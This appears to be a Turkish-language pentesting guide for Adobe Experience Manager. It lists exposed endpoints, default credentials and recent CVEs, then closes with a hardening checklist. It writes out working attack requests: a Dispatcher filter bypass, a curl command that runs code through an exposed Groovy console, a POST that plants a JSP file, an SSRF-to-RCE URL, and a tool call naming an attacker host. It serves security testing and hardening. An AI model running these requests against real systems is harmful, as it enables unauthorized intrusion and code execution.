6.2 KiB
Raw Blame History

AEM (Adobe Experience Manager) Pentesting

{{#include ../../banners/hacktricks-training.md}}

Adobe Experience Manager (AEM, Adobe Experience Cloud'ın bir parçası) Apache Sling/Felix (OSGi) ve bir Java İçerik Deposu (JCR) üzerinde çalışan bir kurumsal CMS'dir. Bir saldırgan perspektifinden AEM örnekleri genellikle tehlikeli geliştirme uç noktalarını, zayıf Dispatcher kurallarını, varsayılan kimlik bilgilerini ve her çeyrekte yamanan uzun bir CVE listesini açığa çıkarır.

Aşağıdaki kontrol listesi, gerçek etkileşimlerde (2022-2025) sürekli olarak ortaya çıkan dışarıdan erişilebilir (kimlik doğrulamasız) saldırı yüzeyine odaklanmaktadır.


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Diğer hızlı göstergeler:

  • /etc.clientlibs/ statik yolu mevcut (JS/CSS döner).
  • /libs/granite/core/content/login.html “Adobe Experience Manager” afişi ile giriş sayfası.
  • </script><!--/* CQ */--> HTML'nin altında yorum.

2. Yüksek değerli kimlik doğrulamasız uç noktalar

Path Ne elde edersiniz Notlar
/.json, /.1.json JCR düğümleri aracılığıyla DefaultGetServlet Genellikle engellenir, ancak Dispatcher bypass (aşağıya bakın) çalışır.
/bin/querybuilder.json?path=/ QueryBuilder API Sayfa ağacı, iç yollar, kullanıcı adlarının sızıntısı.
/system/console/status-*, /system/console/bundles OSGi/Felix konsolu Varsayılan olarak 403; eğer açığa çıkmışsa ve kimlik bilgileri bulunursa ⇒ bundle-upload RCE.
/crx/packmgr/index.jsp Paket Yöneticisi Kimlik doğrulamalı içerik paketlerine izin verir → JSP yükleme.
/etc/groovyconsole/** AEM Groovy Konsolu Eğer açığa çıkmışsa → keyfi Groovy / Java yürütme.
/libs/cq/AuditlogSearchServlet.json Denetim günlükleri Bilgi ifşası.
/libs/cq/ui/content/dumplibs.html ClientLibs dökümü XSS vektörü.

Dispatcher bypass hilesi

Çoğu üretim sitesi Dispatcher (ters proxy) arkasında yer alır. Filtre kuralları, izin verilen bir statik uzantıyı bir noktalı virgülden veya kodlanmış yeni satırdan sonra ekleyerek atlatılabilir:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Tek bir istek yukarıda sıklıkla kullanıcı profil düğümlerini e-posta adresleriyle açığa çıkarır. P-T Partners bu zayıflık hakkında iyi bir rehber yayınladı. 【】


3. Yaygın yanlış yapılandırmalar (2025'te hala mevcut)

  1. Anonim POST servlet POST /.json ile :operation=import yeni JCR düğümleri oluşturmanıza izin verir. Dispatcher'da *.json POST'u engellemek bunu düzeltir. 【】
  2. Herkese açık kullanıcı profilleri varsayılan ACL, /home/users/**/profile/* üzerinde jcr:read iznini herkese verir.
  3. Varsayılan kimlik bilgileri admin:admin, author:author, replication:replication.
  4. WCMDebugFilter etkin ⇒ ?debug=layout üzerinden yansıtılan XSS (CVE-2016-7882, hala eski 6.4 kurulumlarında bulunuyor).
  5. Groovy Konsolu açığa çıktı bir Groovy betiği göndererek uzaktan kod yürütme:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Son zamanlardaki güvenlik açıkları (hizmet paketi döngüsü)

Çeyrek CVE Etkilenen Etki
Aralık 2024 CVE-2024-43711 6.5.21 ve öncesi Yanlış giriş doğrulamasıRastgele kod yürütme (düşük ayrıcalıklı kimlik doğrulama gerektirir). 【】
Aralık 2024 CVE-2024-43724/26 6.5.21 ve öncesi DOM / Saklanan XSS Move Page Wizard'da. 【】
Aralık 2023 CVE-2023-48452/68 ≤ 6.5.18 Özel URL aracılığıyla DOM tabanlı XSS. 【】
Aralık 2022 CVE-2022-30683 ≤ 6.5.13 Kripto tasarım hatası → gizli şifre çözme (düşük ayrıcalıklı kimlik bilgileri gerektirir). 【】

Her zaman müşterinin hizmet paketiyle eşleşen APSB bültenini kontrol edin ve en son 6.5.22 veya Cloud Service 2024.11 talep edin.


5. Sömürü parçaları

5.1 Dispatcher atlatma + JSP yükleme ile RCE

Eğer anonim yazma mümkünse:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Şimdi /content/evil.jsp isteği yapın JSP, AEM işlem kullanıcısı ile çalışır.

5.2 SSRF'den RCE'ye (tarihi < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem-hacker'dan aem_ssrf2rce.py tam zinciri otomatikleştirir. 【】


6. Araçlar

  • aem-hacker İsviçre çakısı benzeri sayım scripti, dispatcher bypass, SSRF tespiti, varsayılan kimlik bilgileri kontrolleri ve daha fazlasını destekler.
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **İçerik Brute-force**  gizli bileşenleri keşfetmek için `/_jcr_content.(json|html)` isteğini yinelemeli olarak yapın.
* **osgi-infect**  kimlik bilgileri mevcutsa `/system/console/bundles` üzerinden kötü niyetli OSGi paketi yükleyin.

---

## 7. Güçlendirme kontrol listesi (raporunuzun önerileri için)

1. Örneği **en son toplu hizmet paketinde** tutun (Temmuz 2025 itibarıyla: 6.5.22).
2. Varsayılan hesapları kaldırın/değiştirin; SSO/SAML'yi zorlayın.
3. **Dispatcher filtrelerini** sıkılaştırın  anonim kullanıcılar için `;`, kodlanmış yeni satırlar ve `*.json` veya `*.querybuilder.json`'ı reddedin.
4. Konsolları (`/system/console`, `/crx/*`, `/etc/groovyconsole`) IP izin listeleri ile devre dışı bırakın veya koruyun.
5. Adobe tarafından gönderilen *Anonim İzin Güçlendirme* paketini uygulayın.

## Referanslar

* Adobe Güvenlik Bülteni APSB24-69  “Adobe Experience Manager için güvenlik güncellemeleri (Aralık 2024)”.
* 0ang3el  aem-hacker aracı (GitHub).
{{#include ../../banners/hacktricks-training.md}}